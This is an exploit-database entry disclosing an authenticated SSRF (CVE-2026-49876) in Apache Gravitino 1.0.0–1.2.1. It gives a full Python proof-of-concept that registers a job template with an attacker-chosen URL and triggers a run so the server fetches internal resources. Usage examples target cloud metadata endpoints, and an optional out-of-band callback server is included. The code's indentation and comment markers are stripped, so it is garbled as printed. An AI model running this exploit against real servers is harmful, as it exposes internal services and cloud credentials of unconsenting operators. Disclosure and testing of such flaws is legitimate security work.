Exploit Title: Apache Gravitino 1.2.1 - SSRF
Google Dork: N/A
Date: 2026-07-13
Exploit Author: Ajay Rajpurohit
Vendor Homepage: https://gravitino.apache.org/
Software Link: https://github.com/apache/gravitino
Version: 1.0.0 - 1.2.1
Tested on: Ubuntu 22.04 LTS
CVE: CVE-2026-49876
#
Description:
A Server-Side Request Forgery (SSRF) vulnerability exists in Apache Gravitino
versions 1.0.0 through 1.2.1. The fetchFileFromUri() method in
JobManager.java processes URIs from job template fields (executable, scripts,
jars, files, archives) without validating the destination. It accepts http,
https, and ftp schemes and downloads remote content to the server's staging
directory via FileUtils.copyURLToFile().
#
An authenticated attacker can:
• Register a job template with an internal/metadata URL as the executable
• Trigger a job run, forcing the server to fetch the URL
• Read the downloaded content from the staging directory (if accessible)
• Use OOB callbacks for blind SSRF detection
#
References:
CVE Record: https://nvd.nist.gov/vuln/detail/CVE-2026-49876
Apache Advisory: https://lists.apache.org/thread/gravitino-ssrf-advisory
Fixing Commit: https://github.com/apache/gravitino/commit/
#
--- Reproducibility ---
#
Prerequisites:
1. Apache Gravitino 1.0.0 - 1.2.1 running (default port 8090)
2. A valid Gravitino user account (any role with job template privileges)
3. Python 3.8+ with `requests` library (pip3 install requests)
#
Setup (if testing locally):
wget https://dlcdn.apache.org/gravitino/1.2.0/gravitino-1.2.0-bin.tar.gz
tar xzf gravitino-1.2.0-bin.tar.gz
cd gravitino-1.2.0-bin
./bin/gravitino.sh start
#
Expected output:
[+] Authenticated as
[+] Template 'ssrf-poc-xxxxxx' registered
[+] Job triggered — SSRF request sent to http://127.0.0.1:8090/configs
[+] SSRF confirmed — server fetched internal resource
#
Usage:
# Direct SSRF — fetch internal config
python3 gravitino_ssrf.py -t http://127.0.0.1:8090 -u admin -p admin \
--url http://127.0.0.1:8090/configs
#
# Cloud metadata (AWS IMDSv1)
python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \
--url http://169.254.169.254/latest/meta-data/
#
# Blind SSRF with OOB callback server
python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \
--url http://:8888/callback --oob --oob-port 8888
#
Requirements:
pip3 install requests
#
import argparse
import base64
import http.server
import json
import random
import socketserver
import string
import sys
import threading
import time
from datetime import datetime
try:
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
print("[!] Missing dependency. Install: pip3 install requests")
sys.exit(1)
─── OOB Callback Server (blind SSRF) ──────────────────────────────────────
class CallbackHandler(http.server.BaseHTTPRequestHandler):
"""Minimal HTTP handler that logs incoming requests for blind SSRF detection."""
received = []
def log_message(self, fmt, *args):
return
def _respond(self, method):
body = b""
cl = int(self.headers.get("Content-Length", 0))
if cl > 0:
body = self.rfile.read(min(cl, 4096))
entry = {
"time": datetime.now().isoformat(),
"method": method,
"path": self.path,
"source": f"{self.client_address[0]}:{self.client_address[1]}",
"user_agent": self.headers.get("User-Agent", ""),
}
CallbackHandler.received.append(entry)
print(f"\n [+] OOB CALLBACK: {method} {self.path} from {entry['source']}")
print(f" User-Agent: {entry['user_agent']}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
do_GET = lambda s: s._respond("GET")
do_POST = lambda s: s._respond("POST")
do_HEAD = lambda s: s._respond("HEAD")
do_PUT = lambda s: s._respond("PUT")
do_OPTIONS = lambda s: s._respond("OPTIONS")
def start_oob_server(port: int) -> None:
"""Start a background HTTP server on the given port for OOB callbacks."""
server = socketserver.TCPServer(("0.0.0.0", port), CallbackHandler)
server.allow_reuse_address = True
t = threading.Thread(target=server.serve_forever, daemon=True)
t.start()
─── Gravitino REST Client ─────────────────────────────────────────────────
class Gravitino:
"""Minimal client for the Gravitino REST API — just enough for the PoC."""
def __init__(self, base_url: str, username: str, password: str,
metalake: str = "metalake", verify: bool = False):
self.base = base_url.rstrip("/")
self.username = username
self.password = password
self.metalake = metalake
self.s = requests.Session()
self.s.verify = verify
def login(self) -> bool:
"""Authenticate via OAuth2 token endpoint; fall back to Basic auth."""
Try OAuth2
try:
r = self.s.post(
f"{self.base}/oauth2/token",
data={
"grant_type": "password",
"username": self.username,
"password": self.password,
"client_id": "gravitino_client",
"scope": "all",
},
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=15,
)
if r.status_code == 200:
token = r.json().get("access_token")
if token:
self.s.headers["Authorization"] = f"Bearer {token}"
print(f"[+] Authenticated via OAuth2 token")
return True
except Exception:
pass
Fallback: Basic auth
creds = base64.b64encode(f"{self.username}:{self.password}".encode()).decode()
self.s.headers["Authorization"] = f"Basic {creds}"
try:
r = self.s.get(f"{self.base}/api/version", timeout=10)
if r.status_code == 200:
print(f"[+] Authenticated via Basic auth")
return True
except Exception:
pass
print("[!] Authentication failed. Provide valid credentials (-u / -p).")
return False
def ensure_metalake(self) -> bool:
"""Create the metalake if it doesn't exist."""
try:
r = self.s.get(f"{self.base}/api/metalakes/{self.metalake}", timeout=10)
if r.status_code == 200:
return True
except Exception:
pass
try:
r = self.s.post(f"{self.base}/api/metalakes",
json={"name": self.metalake, "comment": "", "properties": {}},
timeout=10)
if r.status_code in (200, 201, 409):
return True
except Exception:
pass
Proceed anyway — metalake may already exist under a different name
return True
def trigger_ssrf(self, ssrf_url: str) -> bool:
"""Register a job template with the SSRF URL and trigger execution."""
name = "ssrf-poc-" + "".join(random.choices(string.ascii_lowercase, k=6))
print(f"[*] Registering template '{name}' with URL: {ssrf_url}")
Step 1: Register template
template = {
"name": name,
"jobType": "shell",
"executable": ssrf_url,
"arguments": [],
}
try:
r = self.s.post(
f"{self.base}/api/metalakes/{self.metalake}/jobs/templates",
json={"jobTemplate": template},
timeout=15,
)
if r.status_code not in (200, 201):
print(f"[!] Template registration failed: {r.status_code} {r.text[:200]}")
return False
except requests.RequestException as e:
print(f"[!] Registration error: {e}")
return False
time.sleep(0.5)
Step 2: Trigger job run
print(f"[*] Triggering job run...")
try:
r = self.s.post(
f"{self.base}/api/metalakes/{self.metalake}/jobs/runs",
json={"jobTemplateName": name},
timeout=15,
)
try:
body = r.json() if r.text else {}
except ValueError:
body = {}
if r.status_code == 200 and body.get("code") == 0:
print(f"[+] Job triggered — SSRF request sent")
return True
else:
Even on some errors, the SSRF may have fired
print(f"[*] Response: {r.status_code} {r.text[:200]}")
return r.status_code == 200
except requests.RequestException as e:
print(f"[!] Trigger error: {e}")
return False
─── Main ──────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-49876 — Apache Gravitino 1.0.0-1.2.1 Authenticated SSRF",
epilog="""
Examples:
%(prog)s -t http://127.0.0.1:8090 -u admin -p admin --url http://127.0.0.1:8090/configs
%(prog)s -t http://target:8090 -u user -p pass --url http://169.254.169.254/latest/meta-data/
%(prog)s -t http://target:8090 -u user -p pass --url http://10.0.0.5:8080/ --oob --oob-port 8888
""",
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument("-t", "--target", required=True,
help="Gravitino server (e.g. http://127.0.0.1:8090)"
parser.add_argument("-u", "--username", required=True, help="Username")
parser.add_argument("-p", "--password", required=True, help="Password")
parser.add_argument("--url", required=True,
help="SSRF target URL to fetch (e.g. http://169.254.169.254/latest/meta-data/)"
parser.add_argument("--metalake", default="metalake", help="Metalake name (default: metalake)")
parser.add_argument("--oob", action="store_true",
help="Start OOB callback server for blind SSRF detection")
parser.add_argument("--oob-port", type=int, default=8888,
help="Port for OOB callback server (default: 8888)")
parser.add_argument("--oob-wait", type=int, default=15,
help="Seconds to wait for OOB callbacks (default: 15)")
parser.add_argument("--proxy", default=None, help="HTTP proxy (e.g. http://127.0.0.1:8080)"
args = parser.parse_args()
print(f"\n[*] CVE-2026-49876 — Apache Gravitino Authenticated SSRF")
print(f"[*] Target: {args.target}")
print(f"[*] SSRF URL: {args.url}\n")
Proxy
if args.proxy:
import os
os.environ["HTTP_PROXY"] = args.proxy
os.environ["HTTPS_PROXY"] = args.proxy
OOB callback server
if args.oob:
start_oob_server(args.oob_port)
print(f"[*] OOB callback server listening on port {args.oob_port}")
Auth
g = Gravitino(args.target, args.username, args.password, args.metalake)
if not g.login():
sys.exit(1)
Ensure metalake
g.ensure_metalake()
Exploit
success = g.trigger_ssrf(args.url)
Wait for OOB callbacks
if args.oob:
print(f"[*] Waiting {args.oob_wait}s for OOB callbacks...")
time.sleep(args.oob_wait)
if CallbackHandler.received:
print(f"\n[+] Received {len(CallbackHandler.received)} OOB callback(s) — SSRF confirmed")
for cb in CallbackHandler.received:
print(f" {cb['method']} {cb['path']} from {cb['source']}")
else:
print(f"\n[-] No OOB callbacks received (server may not allow outbound HTTP)")
Summary
print(f"\n{'='*50}")
print(f"{'[+] SSRF successful' if success else '[-] SSRF attempt failed'}")
print(f"{'='*50}\n")
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()
